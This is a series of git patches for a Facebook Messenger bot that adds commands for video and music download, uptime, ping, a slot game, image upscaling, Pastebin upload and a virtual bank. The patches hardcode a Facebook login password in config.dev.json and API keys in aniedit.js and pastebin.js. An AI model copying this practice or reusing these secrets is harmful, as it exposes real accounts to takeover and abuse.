016/126] Update config.dev.json --- config.dev.json | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/config.dev.json b/config.dev.json index 4af0aced6c..281ccceb79 100644 --- a/config.dev.json +++ b/config.dev.json @@ -1,7 +1,7 @@ { "facebookAccount": { "email": "hackereditor87@gmail.com", - "password": "12345678mm", + "password": "MIADD12345", "2FASecret": "", "i_user": "", "proxy": null, From 0d8fd9f9bd4bd6112f97bb10e0990346ed653b89 Mon Sep 17 00:00:00 2001 From: ManashJoshi <156304424+ManashJoshi@users.noreply.github.com> Date: Thu, 29 Feb 2024 09:18:44 +0545 Subject: [PATCH 017/126] Create aniedit.js --- scripts/cmds/aniedit.js | 118 ++++++++++++++++++++++++++++++++++++++++ 1 file changed, 118 insertions(+) create mode 100644 scripts/cmds/aniedit.js diff --git a/scripts/cmds/aniedit.js b/scripts/cmds/aniedit.js new file mode 100644 index 0000000000..96e8fc9228 --- /dev/null +++ b/scripts/cmds/aniedit.js @@ -0,0 +1,118 @@ +const axios = require("axios"); +const fs = require("fs-extra"); +const os = require("os"); +const yts = require("yt-search"); +const ytdl = require("@distube/ytdl-core"); + +module.exports = { + sentVideos: [], + + config: { + name: "aniedit", + version: "2.0", + role: 0, + author: "𝗞𝘀𝗵𝗶𝘁𝗶𝘇 & 𝗦𝗞𝗬", + cooldowns: 40, + shortDescription: "Fetch a random video from a YouTube playlist and send it", + longDescription: "", + category: "anime", + dependencies: { + "fs-extra": "", + "axios": "", + "ytdl-core": "", + "yt-search": "" + } + }, + onStart: async function ({ api, event, message }) { + try { + const senderID = event.senderID; + + const loadingMessage = await api.sendMessage("𝗟𝗼𝗮𝗱𝗶𝗻𝗴 𝗿𝗮𝗻𝗱𝗼𝗺 𝗮𝗻𝗶𝗺𝗲 𝘃𝗶𝗱𝗲𝗼..💫", event.threadID, null, event.messageID); + + const apiKey = "AIzaSyAO1tuGus4-S8RJID51f8WJAM7LXz1tVNc"; + const playlistId = "PLaPLzpOlr3JSGd0fFH1jpBeZ9-mMeUQ-P"; + + const playlistUrl = `https://www.googleapis.com/youtube/v3/playlistItems?key=${apiKey}&playlistId=${playlistId}&part=contentDetails&maxResults=50`; + const response = await axios.get(playlistUrl); + + const items = response.data.items; + const videoIds = items.map((item) => item.contentDetails.videoId); + + if (this.sentVideos.length === videoIds.length) { + this.sentVideos = []; + } + + const unwatchedVideoIds = videoIds.filter((videoId) => !this.sentVideos.includes(videoId)); + + if (unwatchedVideoIds.length === 0) { + api.unsendMessage(loadingMessage.messageID); + return api.sendMessage("No unwatched videos left.", event.threadID, null, event.messageID); + } + + const randomVideoId = unwatchedVideoIds[Math.floor(Math.random() * unwatchedVideoIds.length)]; + + this.sentVideos.push(randomVideoId); + + const videoDetailsUrl = `https://www.googleapis.com/youtube/v3/videos?key=${apiKey}&id=${randomVideoId}&part=snippet`; + const videoResponse = await axios.get(videoDetailsUrl); + + const videoInfo = videoResponse.data.items[0].snippet; + + const randomVideoTitle = videoInfo.title; + + const cacheFilePath = os.tmpdir() + "/randomVideoTitle.txt"; + fs.writeFileSync(cacheFilePath, randomVideoTitle); + + const searchResults = await yts(randomVideoTitle); + + if (!searchResults.videos.length) { + api.unsendMessage(loadingMessage.messageID); + return api.sendMessage("No video found based on the cached title.", event.threadID, null, event.messageID); + } + + const foundVideo = searchResults.videos[0]; + const videoUrl = foundVideo.url; + + const stream = ytdl(videoUrl, { filter: "audioandvideo" }); + const fileName = `${senderID}.mp4`; + const filePath = __dirname + `/cache/${fileName}`; + + stream.pipe(fs.createWriteStream(filePath)); + + stream.on('response', () => { + console.info('[DOWNLOADER]', 'Starting download now!'); + }); + + stream.on('info', (info) => { + console.info('[DOWNLOADER]', `Downloading video: ${info.videoDetails.title}`); + }); + + stream.on('end', () => { + console.info('[DOWNLOADER] Downloaded'); + + if (fs.statSync(filePath).size > 26214400) { + fs.unlinkSync(filePath); + + api.unsendMessage(loadingMessage.messageID); + return api.sendMessage('❌ | The file could not be sent because it is larger than 25MB.', event.threadID, null, event.messageID); + } + + const message = { + body: '📹 | 𝗛𝗲𝗿𝗲\'𝘀 𝘁𝗵𝗲 𝗿𝗮𝗻𝗱𝗼𝗺 𝗮𝗻𝗶𝗺𝗲 𝘃𝗶𝗱𝗲𝗼', + attachment: fs.createReadStream(filePath) + }; + + api.sendMessage(message, event.threadID, null, event.messageID, () => { + fs.unlinkSync(filePath); + }); + + setTimeout(() => { + api.unsendMessage(loadingMessage.messageID); + }, 10000); + }); + } catch (error) { + console.error('[ERROR]', error); + api.sendMessage('An error occurred while processing the command.', event.threadID, null, event.messageID); + } + }, +}; From 81e4f76ef594cf708d71276f15867de37a6c6890 Mon Sep 17 00:00:00 2001 From: ManashJoshi <156304424+ManashJoshi@users.noreply.github.com> Date: Thu, 29 Feb 2024 09:19:38 +0545 Subject: [PATCH 018/126] Create uptime.js --- scripts/cmds/uptime.js | 28 ++++++++++++++++++++++++++++ 1 file changed, 28 insertions(+) create mode 100644 scripts/cmds/uptime.js diff --git a/scripts/cmds/uptime.js b/scripts/cmds/uptime.js new file mode 100644 index 0000000000..eac5596b4f --- /dev/null +++ b/scripts/cmds/uptime.js @@ -0,0 +1,28 @@ +module.exports = { + config: { + name: "uptime", + aliases: ["up", "upt"], + version: "1.0", + author: "XyryllPanget", + role: 0, + shortDescription: { + en: "Displays the uptime of the bot." + }, + longDescription: { + en: "Displays the amount of time that the bot has been running for." + }, + category: "System", + guide: { + en: "Use {p}uptime to display the uptime of the bot." + } + }, + onStart: async function ({ api, event, args }) { + const uptime = process.uptime(); + const seconds = Math.floor(uptime % 60); + const minutes = Math.floor((uptime / 60) % 60); + const hours = Math.floor((uptime / (60 * 60)) % 24); + const days = Math.floor(uptime / (60 * 60 * 24)); + const uptimeString = `${hours} hours ${minutes} minutes ${seconds} second`; + api.sendMessage(`hello user, the bot has been running for ${uptimeString}.`, event.threadID); + } +}; From 99958cb0c9ac8194fbbe937a5765ce1c8addd401 Mon Sep 17 00:00:00 2001 From: ManashJoshi <156304424+ManashJoshi@users.noreply.github.com> Date: Thu, 29 Feb 2024 09:47:42 +0545 Subject: [PATCH 019/126] Create ping.js --- scripts/cmds/ping.js | 25 +++++++++++++++++++++++++ 1 file changed, 25 insertions(+) create mode 100644 scripts/cmds/ping.js diff --git a/scripts/cmds/ping.js b/scripts/cmds/ping.js new file mode 100644 index 0000000000..f3c078ab82 --- /dev/null +++ b/scripts/cmds/ping.js @@ -0,0 +1,25 @@ +module.exports = { + config: { + name: "ping", + aliases: ["ms"], + version: "1.0", + author: "Sandu", + role: 0, + shortDescription: { + en: "Displays the current ping of the bot's system." + }, + longDescription: { + en: "Displays the current ping of the bot's system." + }, + category: "System", + guide: { + en: "Use {p}ping to check the current ping of the bot's system." + } + }, + onStart: async function ({ api, event, args }) { + const timeStart = Date.now(); + await api.sendMessage("Checking Bot's ping", event.threadID); + const ping = Date.now() - timeStart; + api.sendMessage(`The current ping is ${ping}ms.`, event.threadID); + } +}; From c6cef34a4cab32e0fc9b80fedd176bc7df6d9dea Mon Sep 17 00:00:00 2001 From: ManashJoshi <156304424+ManashJoshi@users.noreply.github.com> Date: Thu, 29 Feb 2024 09:50:47 +0545 Subject: [PATCH 020/126] Create sing.js --- scripts/cmds/sing.js | 87 ++++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 87 insertions(+) create mode 100644 scripts/cmds/sing.js diff --git a/scripts/cmds/sing.js b/scripts/cmds/sing.js new file mode 100644 index 0000000000..b5c0d276fd --- /dev/null +++ b/scripts/cmds/sing.js @@ -0,0 +1,87 @@ +module.exports = { + config: { + name: "sing", + version: "1.0", + role: 0, + author: "kshitiz", + cooldowns: 5, + shortdescription: "download music from YouTube", + longdescription: "", + category: "music", + usages: "{pn} music name", + dependencies: { + "fs-extra": "", + "request": "", + "axios": "", + "ytdl-core": "", + "yt-search": "" + } + }, + + onStart: async ({ api, event }) => { + const axios = require("axios"); + const fs = require("fs-extra"); + const ytdl = require("ytdl-core"); + const request = require("request"); + const yts = require("yt-search"); + + const input = event.body; + const text = input.substring(12); + const data = input.split(" "); + + if (data.length < 2) { + return api.sendMessage("Please specify a music name.", event.threadID); + } + + data.shift(); + const musicName = data.join(" "); + + try { + api.sendMessage(`✔ | 𝐒𝐞𝐚𝐫𝐜𝐡𝐢𝐧𝐠 𝐦𝐮𝐬𝐢𝐜 𝐟𝐨𝐫 "${musicName}".\ 𝐄𝐤𝐱𝐢𝐧 𝐩𝐚𝐫𝐤𝐡𝐚𝐧𝐮𝐡𝐨𝐬...`, event.threadID); + + const searchResults = await yts(musicName); + if (!searchResults.videos.length) { + return api.sendMessage("𝐤𝐮𝐧𝐚𝐢 𝐦𝐮𝐬𝐢𝐜 𝐯𝐞𝐭𝐢𝐲𝐞𝐧𝐚.", event.threadID, event.messageID); + } + + const music = searchResults.videos[0]; + const musicUrl = music.url; + + const stream = ytdl(musicUrl, { filter: "audioonly" }); + + const fileName = `${event.senderID}.mp3`; + const filePath = __dirname + `/cache/${fileName}`; + + stream.pipe(fs.createWriteStream(filePath)); + + stream.on('response', () => { + console.info('[DOWNLOADER]', 'Starting download now!'); + }); + + stream.on('info', (info) => { + console.info('[DOWNLOADER]', `Downloading music: ${info.videoDetails.title}`); + }); + + stream.on('end', () => { + console.info('[DOWNLOADER] Downloaded'); + + if (fs.statSync(filePath).size > 26214400) { + fs.unlinkSync(filePath); + return api.sendMessage('❌ | 𝐓𝐡𝐞 𝐟𝐢𝐥𝐞 𝐜𝐨𝐮𝐥𝐝 𝐧𝐨𝐭 𝐛𝐞 𝐬𝐞𝐧𝐭 𝐛𝐞𝐜𝐚𝐮𝐬𝐞 𝐢𝐭 𝐢𝐬 𝐥𝐚𝐫𝐠𝐞𝐫 𝐭𝐡𝐚𝐧 25𝐌𝐁.', event.threadID); + } + + const message = { + body: `👉 ❀ 𝐓𝐚𝐩𝐚𝐢 𝐤𝐨 𝐠𝐞𝐞𝐭 \ ❀ 𝐓𝐢𝐭𝐥𝐞: ${music.title}\ 𝐃𝐮𝐫𝐚𝐭𝐢𝐨𝐧: ${music.duration.timestamp}`, + attachment: fs.createReadStream(filePath) + }; + + api.sendMessage(message, event.threadID, () => { + fs.unlinkSync(filePath); + }); + }); + } catch (error) { + console.error('[ERROR]', error); + api.sendMessage('🥱 ❀ 𝐀𝐧 𝐞𝐫𝐫𝐨𝐫 𝐨𝐜𝐜𝐮𝐫𝐫𝐞𝐝 𝐰𝐡𝐢𝐥𝐞 𝐩𝐫𝐨𝐜𝐞𝐬𝐬𝐢𝐧𝐠 𝐭𝐡𝐞 𝐜𝐨𝐦𝐦𝐚𝐧𝐝.', event.threadID); + } + } +}; From 3e46fcba9535be19898d01a6bf38a83a6682250f Mon Sep 17 00:00:00 2001 From: ManashJoshi <156304424+ManashJoshi@users.noreply.github.com> Date: Thu, 29 Feb 2024 09:51:59 +0545 Subject: [PATCH 021/126] Create slot.js --- scripts/cmds/slot.js | 79 ++++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 79 insertions(+) create mode 100644 scripts/cmds/slot.js diff --git a/scripts/cmds/slot.js b/scripts/cmds/slot.js new file mode 100644 index 0000000000..439ad6ba57 --- /dev/null +++ b/scripts/cmds/slot.js @@ -0,0 +1,79 @@ +module.exports = { + config: { + name: "slot", + version: "1.0", + author: "OtinXSandip", + shortDescription: { + en: "Slot game", + }, + longDescription: { + en: "Slot game.", + }, + category: "Game", + }, + langs: { + en: { + invalid_amount: "Enter a valid and positive amount to have a chance to win double", + not_enough_money: "Check your balance if you have that amount", + spin_message: "Spinning...", + win_message: "You won $%1, buddy!", + lose_message: "You lost $%1, buddy.", + jackpot_message: "Jackpot! You won $%1 with three %2 symbols, buddy!", + }, + }, + onStart: async function ({ args, message, event, envCommands, usersData, commandName, getLang }) { + const { senderID } = event; + const userData = await usersData.get(senderID); + const amount = parseInt(args[0]); + + if (isNaN(amount) || amount <= 0) { + return message.reply(getLang("invalid_amount")); + } + + if (amount > userData.money) { + return message.reply(getLang("not_enough_money")); + } + + const slots = ["💚", "💛", "💙", "💛", "💚", "💙", "💙", "💛", "💚"]; + const slot1 = slots[Math.floor(Math.random() * slots.length)]; + const slot2 = slots[Math.floor(Math.random() * slots.length)]; + const slot3 = slots[Math.floor(Math.random() * slots.length)]; + + const winnings = calculateWinnings(slot1, slot2, slot3, amount); + + await usersData.set(senderID, { + money: userData.money + winnings, + data: userData.data, + }); + + const messageText = getSpinResultMessage(slot1, slot2, slot3, winnings, getLang); + + return message.reply(messageText); + }, +}; + +function calculateWinnings(slot1, slot2, slot3, betAmount) { + if (slot1 === "💚" && slot2 === "💚" && slot3 === "💚") { + return betAmount * 10; + } else if (slot1 === "💛" && slot2 === "💛" && slot3 === "💛") { + return betAmount * 5; + } else if (slot1 === slot2 && slot2 === slot3) { + return betAmount * 3; + } else if (slot1 === slot2 || slot1 === slot3 || slot2 === slot3) { + return betAmount * 2; + } else { + return -betAmount; + } +} + +function getSpinResultMessage(slot1, slot2, slot3, winnings, getLang) { + if (winnings > 0) { + if (slot1 === "💙" && slot2 === "💙" && slot3 === "💙") { + return getLang("jackpot_message", winnings, "💙"); + } else { + return getLang("win_message", winnings) + `\[ ${slot1} | ${slot2} | ${slot3} ]`; + } + } else { + return getLang("lose_message", -winnings) + `\[ ${slot1} | ${slot2} | ${slot3} ]`; + } +} From cac270d5892b87059788c6f80740097180fc9dae Mon Sep 17 00:00:00 2001 From: ManashJoshi <156304424+ManashJoshi@users.noreply.github.com> Date: Thu, 29 Feb 2024 09:53:26 +0545 Subject: [PATCH 022/126] Create uptime2.js --- scripts/cmds/uptime2.js | 41 +++++++++++++++++++++++++++++++++++++++++ 1 file changed, 41 insertions(+) create mode 100644 scripts/cmds/uptime2.js diff --git a/scripts/cmds/uptime2.js b/scripts/cmds/uptime2.js new file mode 100644 index 0000000000..483855a9b5 --- /dev/null +++ b/scripts/cmds/uptime2.js @@ -0,0 +1,41 @@ +module.exports = { + config: { + name: "uptime2", + aliases: ["up2"], + role: 0, + shortDescription: { + en: "Show server uptime", + tl: "Ipakita ang uptime ng server", + }, + longDescription: { + en: "Shows the duration for which the server has been running", + tl: "Ipapakita ang tagal na gumagana ang server", + }, + category: "goatBot", + guide: { + en: "{p}uptime", + tl: "{p}uptime", + }, + }, + + onStart: async function ({ api, message, threadsData }) { + const os = require("os"); + const uptime = os.uptime(); + + const days = Math.floor(uptime / (3600 * 24)); + const hours = Math.floor((uptime % (3600 * 24)) / 3600); + const mins = Math.floor((uptime % 3600) / 60); + const seconds = Math.floor(uptime % 60); + + const system = `OS: ${os.platform()} ${os.release()}`; + const cores = `Cores: ${os.cpus().length}`; + const arch = `Architecture: ${os.arch()}`; + const totalMemory = `Total Memory: ${Math.round(os.totalmem() / (1024 * 1024 * 1024))} GB`; + const freeMemory = `Free Memory: ${Math.round(os.freemem() / (1024 * 1024 * 1024))} GB`; + const uptimeString = `Uptime: ${days} days, ${hours} hours, ${mins} minutes, and ${seconds} seconds`; + + const response = `🕒 ${uptimeString}\n📡 ${system}\n🛡 ${cores}\n⚔ No AI Status\n📈 Total Users: ${threadsData.size}\n📉 Total Threads: ${threadsData.size}\n⚖ AI Usage: 0.0\n📊 RAM Usage: ${Math.round(process.memoryUsage().rss / (1024 * 1024))} MB\n💰 Total(RAM): ${Math.round(os.totalmem() / (1024 * 1024 * 1024))} GB\n💸 Current(RAM): ${Math.round(os.freemem() / (1024 * 1024 * 1024))} GB\n🛫 Ping: 15 ms\n🕰 Uptime(Seconds): ${Math.floor(process.uptime())}`; + + message.reply(response); + }, +}; From f3e55b32133b296f6b6940cf0b241e1ff68ce835 Mon Sep 17 00:00:00 2001 From: ManashJoshi <156304424+ManashJoshi@users.noreply.github.com> Date: Thu, 29 Feb 2024 09:54:28 +0545 Subject: [PATCH 023/126] Create upscaleai.js --- scripts/cmds/upscaleai.js | 52 +++++++++++++++++++++++++++++++++++++++ 1 file changed, 52 insertions(+) create mode 100644 scripts/cmds/upscaleai.js diff --git a/scripts/cmds/upscaleai.js b/scripts/cmds/upscaleai.js new file mode 100644 index 0000000000..a0a261b2ab --- /dev/null +++ b/scripts/cmds/upscaleai.js @@ -0,0 +1,52 @@ +const a = require('axios'); +const tinyurl = require('tinyurl'); + +module.exports = { + config: { + name: "upscaleai", + aliases: ["4k", "upscale"], + version: "1.0", + author: "JARiF", + countDown: 15, + role: 0, + longDescription: "Upscale your image.", + category: "utility", + guide: { + en: "{pn} reply to an image" + } + }, + + onStart: async function ({ message, args, event, api }) { + let imageUrl; + + if (event.type === "message_reply") { + const replyAttachment = event.messageReply.attachments[0]; + + if (["photo", "sticker"].includes(replyAttachment?.type)) { + imageUrl = replyAttachment.url; + } else { + return api.sendMessage( + { body: "❌ | Reply must be an image." }, + event.threadID + ); + } + } else if (args[0]?.match(/(https?:\/\/.*\.(?:png|jpg|jpeg))/g)) { + imageUrl = args[0]; + } else { + return api.sendMessage({ body: "❌ | Reply to an image." }, event.threadID); + } + + try { + const url = await tinyurl.shorten(imageUrl); + const k = await a.get(`https://www.api.vyturex.com/upscale?imageUrl=${url}`); + + message.reply("✅ | Please wait..."); + + const resultUrl = k.data.resultUrl; + + message.reply({ body: "✅ | Image Upscaled.", attachment: await global.utils.getStreamFromURL(resultUrl) }); + } catch (error) { + message.reply("❌ | Error: " + error.message); + } + } +}; From 14fa36a31e3a9f4a94376e25a1cd1e061d598ffa Mon Sep 17 00:00:00 2001 From: ManashJoshi <156304424+ManashJoshi@users.noreply.github.com> Date: Thu, 29 Feb 2024 09:55:58 +0545 Subject: [PATCH 024/126] Update unsend.js --- scripts/cmds/unsend.js | 5 +++-- 1 file changed, 3 insertions(+), 2 deletions(-) diff --git a/scripts/cmds/unsend.js b/scripts/cmds/unsend.js index ccc3c53424..a9f78bbbb7 100644 --- a/scripts/cmds/unsend.js +++ b/scripts/cmds/unsend.js @@ -1,8 +1,9 @@ module.exports = { config: { name: "unsend", + aliases: ["un","uns","unsef","u"], version: "1.1", - author: "NTKhang", + author: "NTKhang",//--- remodified by itachi countDown: 5, role: 0, shortDescription: { @@ -34,4 +35,4 @@ module.exports = { return message.reply(getLang("syntaxError")); message.unsend(event.messageReply.messageID); } -}; \ No newline at end of file +}; From 283ab7a353bad0d212f391654c2ee2b456067047 Mon Sep 17 00:00:00 2001 From: ManashJoshi <156304424+ManashJoshi@users.noreply.github.com> Date: Thu, 29 Feb 2024 09:57:01 +0545 Subject: [PATCH 025/126] Create pastebin.js --- scripts/cmds/pastebin.js | 59 ++++++++++++++++++++++++++++++++++++++++ 1 file changed, 59 insertions(+) create mode 100644 scripts/cmds/pastebin.js diff --git a/scripts/cmds/pastebin.js b/scripts/cmds/pastebin.js new file mode 100644 index 0000000000..db67b06605 --- /dev/null +++ b/scripts/cmds/pastebin.js @@ -0,0 +1,59 @@ +const PastebinAPI = require('pastebin-js'); +const fs = require('fs'); +const path = require('path'); + +module.exports = { + config: { + name: "pastebin", + version: "1.0", + author: "SANDIP", + countDown: 5, + role: 2, + shortDescription: { + en: "Upload files to pastebin and sends link" + }, + longDescription: { + en: "This command allows you to upload files to pastebin and sends the link to the file." + }, + category: "Utility", + guide: { + en: "To use this command, type !pastebin . The file must be located in the 'cmds' folder." + } + }, + + onStart: async function({ api, event, args }) { + const pastebin = new PastebinAPI({ + api_dev_key: 'LFhKGk5aRuRBII5zKZbbEpQjZzboWDp9', + api_user_key: 'LFhKGk5aRuRBII5zKZbbEpQjZzboWDp9', + }); + + const fileName = args[0]; + const filePathWithoutExtension = path.join(__dirname, '..', 'cmds', fileName); + const filePathWithExtension = path.join(__dirname, '..', 'cmds', fileName + '.js'); + + if (!fs.existsSync(filePathWithoutExtension) && !fs.existsSync(filePathWithExtension)) { + return api.sendMessage('File not found!', event.threadID); + } + + const filePath = fs.existsSync(filePathWithoutExtension) ? filePathWithoutExtension : filePathWithExtension; + + fs.readFile(filePath, 'utf8', async (err, data) => { + if (err) throw err; + + const paste = await pastebin + .createPaste({ + text: data, + title: fileName, + format: null, + privacy: 1, + }) + .catch((error) => { + console.error(error); + }); + + const rawPaste = paste.replace("pastebin.com", "pastebin.com/raw"); + + api.sendMessage(`File uploaded to Pastebin: ${rawPaste}`, event.threadID); + }); + }, +}; From 65f10bcea3eb64daf33af6c9f6f3c64b2e6c9671 Mon Sep 17 00:00:00 2001 From: ManashJoshi <156304424+ManashJoshi@users.noreply.github.com> Date: Thu, 29 Feb 2024 09:58:43 +0545 Subject: [PATCH 026/126] Create bank.js --- scripts/cmds/bank.js | 315 +++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 315 insertions(+) create mode 100644 scripts/cmds/bank.js diff --git a/scripts/cmds/bank.js b/scripts/cmds/bank.js new file mode 100644 index 0000000000..d5e714f686 --- /dev/null +++ b/scripts/cmds/bank.js @@ -0,0 +1,315 @@ +const fs = require("fs"); +const path = require("path"); + +module.exports = { + config: { + name: "bank", + version: "1.2", + description: "Deposit or withdraw money from the bank and earn interest", + guide: { + vi: "", + en: "{pn}Bank:\nInterest - Balance\n - Withdraw \n- Deposit \n- Transfer \n- Richest" + }, + category: "💰 Economy", + countDown: 15, + role: 0, + author: "Loufi | SiAM | Samuel\n\nModified: Shikaki" + }, + onStart: async function ({ args, message, event, api, usersData }) { + const { getPrefix } = global.utils; + const p = getPrefix(event.threadID); + + const userMoney = await usersData.get(event.senderID, "money"); + const user = parseInt(event.senderID); + const info = await api.getUserInfo(user); + const username = info[user].name; + + const bankDataPath = 'scripts/cmds/bankData.json'; + +if (!fs.existsSync(bankDataPath)) { + const initialBankData = {}; + fs.writeFileSync(bankDataPath, JSON.stringify(initialBankData), "utf8"); +} + +const bankData = JSON.parse(fs.readFileSync(bankDataPath, "utf8")); + +if (!bankData[user]) { + bankData[user] = { bank: 0, lastInterestClaimed: Date.now() }; + fs.writeFileSync(bankDataPath, JSON.stringify(bankData), "utf8"); +} + + + bankBalance = bankData[user].bank || 0; + + const command = args[0]?.toLowerCase(); + const amount = parseInt(args[1]); + const recipientUID = parseInt(args[2]); + + switch (command) { +case "deposit": + if (isNaN(amount) || amount <= 0) { + return message.reply("╔════ஜ۩۞۩ஜ═══╗\n\n[🏦 Bank 🏦]\n\n❏Please enter a valid amount to deposit 🔁•\n\n╚════ஜ۩۞۩ஜ═══╝"); + } + + + if (bankBalance >= 1e104) { + return message.reply("╔════ஜ۩۞۩ஜ═══╗\n\n[🏦 Bank 🏦]\n\n❏You cannot deposit money when your bank balance is already at $1e104 ✖️•\n\n╚════ஜ۩۞۩ஜ═══╝"); + } + + if (userMoney < amount) { + return message.reply("╔════ஜ۩۞۩ஜ═══╗\n\n[🏦 Bank 🏦]\n\n❏You don't have the required amount to deposit ✖️•\n\n╚════ஜ۩۞۩ஜ═══╝"); + } + + bankData[user].bank += amount; + await usersData.set(event.senderID, { + money: userMoney - amount + }); +fs.writeFileSync(bankDataPath, JSON.stringify(bankData), "utf8"); + + return message.reply(`╔════ஜ۩۞۩ஜ═══╗\n\n[🏦 Bank 🏦]\n\n❏Successfully deposited $${amount} into your bank account ✅•\n\n╚════ஜ۩۞۩ஜ═══╝`); +break; + + +case "withdraw": + const balance = bankData[user].bank || 0; + + if (isNaN(amount) || amount <= 0) { + return message.reply("╔════ஜ۩۞۩ஜ═══╗\n\n[🏦 Bank 🏦]\n\n❏Please enter the correct amount to withdraw 😪•\n\n╚════ஜ۩۞۩ஜ═══╝"); + } + + if (userMoney >= 1e104) { + return message.reply("╔════ஜ۩۞۩ஜ═══╗\n\n[🏦 Bank 🏦]\n\n❏You cannot withdraw money when your balance is already at 1e104 😒•\n\n╚════ஜ۩۞۩ஜ═══╝"); + } + + if (amount > balance) { + return message.reply("╔════ஜ۩۞۩ஜ═══╗\n\n[🏦 Bank 🏦]\n\n❏The requested amount is greater than the available balance in your bank account 🗿•\n\n╚════ஜ۩۞۩ஜ═══╝"); + } + + // Continue with the withdrawal if the userMoney is not at 1e104 + bankData[user].bank = balance - amount; + await usersData.set(event.senderID, { + money: userMoney + amount + }); +fs.writeFileSync(bankDataPath, JSON.stringify(bankData), "utf8"); + return message.reply(`╔════ஜ۩۞۩ஜ═══╗\n\n[🏦 Bank 🏦]\n\n❏Successfully withdrew $${amount} from your bank account ✅•\n\n╚════ஜ۩۞۩ஜ═══╝`); + break; + + +case "balance": + const formattedBankBalance = parseFloat(bankBalance); + if (!isNaN(formattedBankBalance)) { + return message.reply(`╔════ஜ۩۞۩ஜ═══╗\n\n[🏦 Bank 🏦]\n\n❏Your bank balance is: $${formatNumberWithFullForm(formattedBankBalance)}\n\n╚════ஜ۩۞۩ஜ═══╝`); + } else { + return message.reply("╔════ஜ۩۞۩ஜ═══╗\n\n[🏦 Bank 🏦]\n\n❏Error: Your bank balance is not a valid number 🥲•\n\n╚════ஜ۩۞۩ஜ═══╝"); + } + break; + + + +case "interest": + const interestRate = 0.001; // 0.1% daily interest rate + const lastInterestClaimed = bankData[user].lastInterestClaimed || 0; + + const currentTime = Date.now(); + const timeDiffInSeconds = (currentTime - lastInterestClaimed) / 1000; + + if (timeDiffInSeconds < 86400) { + // If it's been less than 24 hours since the last interest claim + const remainingTime = Math.ceil(86400 - timeDiffInSeconds); + const remainingHours = Math.floor(remainingTime / 3600); + const remainingMinutes = Math.floor((remainingTime % 3600) / 60); + + return message.reply(`╔════ஜ۩۞۩ஜ═══╗\n\n[🏦 Bank 🏦]\n\n❏You can claim interest again in ${remainingHours} hours and ${remainingMinutes} minutes 😉•\n\n╚════ஜ۩۞۩ஜ═══╝`); + } + + const interestEarned = bankData[user].bank * (interestRate / 970) * timeDiffInSeconds; + + if (bankData[user].bank <= 0) { + return message.reply("╔════ஜ۩۞۩ஜ═══╗\n\n[🏦 Bank 🏦]\n\n❏You don't have any money in your bank account to earn interest 💸🥱•\n\n╚════ஜ۩۞۩ஜ═══╝"); + } + + bankData[user].lastInterestClaimed = currentTime; + bankData[user].bank += interestEarned; + +fs.writeFileSync(bankDataPath, JSON.stringify(bankData), "utf8"); + + +return message.reply(`╔════ஜ۩۞۩ஜ═══╗\n\n[🏦 Bank 🏦]\n\n❏You have earned interest of $${formatNumberWithFullForm(interestEarned)}\n\nIt has been successfully added to your account balance ✅•\n\n╚════ஜ۩۞۩ஜ═══╝`); +break; + + +case "transfer": + if (isNaN(amount) || amount <= 0) { + return message.reply("╔════ஜ۩۞۩ஜ═══╗\n\n[🏦 Bank 🏦]\n\n❏Please enter a valid amount to transfer 🔁•\n\n╚════ஜ۩۞۩ஜ═══╝"); + } + + if (!recipientUID || !bankData[recipientUID]) { + return message.reply("╔════ஜ۩۞۩ஜ═══╗\n\n[🏦 Bank 🏦]\n\n❏Recipient not found in the bank database. Please check the recipient's ID ✖️•\n\n╚════ஜ۩۞۩ஜ═══╝"); + } + + if (recipientUID === user) { + return message.reply("╔════ஜ۩۞۩ஜ═══╗\n\n[🏦 Bank 🏦]\n\n❏You cannot transfer money to yourself 😹•\n\n╚════ஜ۩۞۩ஜ═══╝"); + } + + const senderBankBalance = parseFloat(bankData[user].bank) || 0; + const recipientBankBalance = parseFloat(bankData[recipientUID].bank) || 0; + + if (recipientBankBalance >= 1e104) { + return message.reply("╔════ஜ۩۞۩ஜ═══╗\n\n[🏦 Bank 🏦]\n\n❏The recipient's bank balance is already $1e104. You cannot transfer money to them 🗿•\n\n╚════ஜ۩۞۩ஜ═══╝"); + } + + if (amount > senderBankBalance) { + return message.reply("╔════ஜ۩۞۩ஜ═══╗\n\n[🏦 Bank 🏦]\n\n❏You don't have enough money in your bank account for this transfer ✖️•\n\n╚════ஜ۩۞۩ஜ═══╝"); + } + + bankData[user].bank -= amount; + bankData[recipientUID].bank += amount; +fs.writeFileSync(bankDataPath, JSON.stringify(bankData), "utf8"); + + + return message.reply(`╔════ஜ۩۞۩ஜ═══╗\n\n[🏦 Bank 🏦]\n\n❏Successfully transferred $${amount} to the recipient with UID: ${recipientUID} ✅•\n\n╚════ஜ۩۞۩ஜ═══╝`); +break; + + +case "richest": + const bankDataCp = JSON.parse(fs.readFileSync('scripts/cmds/bankData.json', 'utf8')); + + const topUsers = Object.entries(bankDataCp) + .sort(([, a], [, b]) => b.bank - a.bank) + .slice(0, 10); + + const output = (await Promise.all(topUsers.map(async ([userID, userData], index) => { + const userName = await usersData.getName(userID); + const formattedBalance = formatNumberWithFullForm(userData.bank); // Format the bank balance + return `[${index + 1}. ${userName} - $${formattedBalance}]`; + }))).join('\n'); + + return message.reply("╔════ஜ۩۞۩ஜ═══╗\n\n[🏦 Bank 🏦]\n\n❏Top 10 richest people according to their bank balance 👑🤴:\n" + output + "\n\n╚════ஜ۩۞۩ஜ═══╝"); + +break; + + +case "loan": + const maxLoanAmount = 100000000; //increase of decrease this + const userLoan = bankData[user].loan || 0; + const loanPayed = bankData[user].loanPayed !== undefined ? bankData[user].loanPayed : true; + + if (!amount) { + return message.reply("╔════ஜ۩۞۩ஜ═══╗\n\n[🏦 Bank 🏦]\n\n❏Please enter a valid loan amount ✖️•\n\n╚════ஜ۩۞۩ஜ═══╝"); + } + + if (amount > maxLoanAmount) { + return message.reply("╔════ஜ۩۞۩ஜ═══╗\n\n[🏦 Bank 🏦]\n\n❏The maximum loan amount is $100000000 ❗•\n\n╚════ஜ۩۞۩ஜ═══╝"); + } + + if (!loanPayed && userLoan > 0) { + return message.reply(`╔════ஜ۩۞۩ஜ═══╗\n\n[🏦 Bank 🏦]\n\n❏You cannot take a new loan until you pay off your current loan.\n\nYour current loan to pay: $${userLoan} 😑•\n\n╚════ஜ۩۞۩ஜ═══╝`); + } + + bankData[user].loan = userLoan + amount; + bankData[user].loanPayed = false; + bankData[user].bank += amount; + 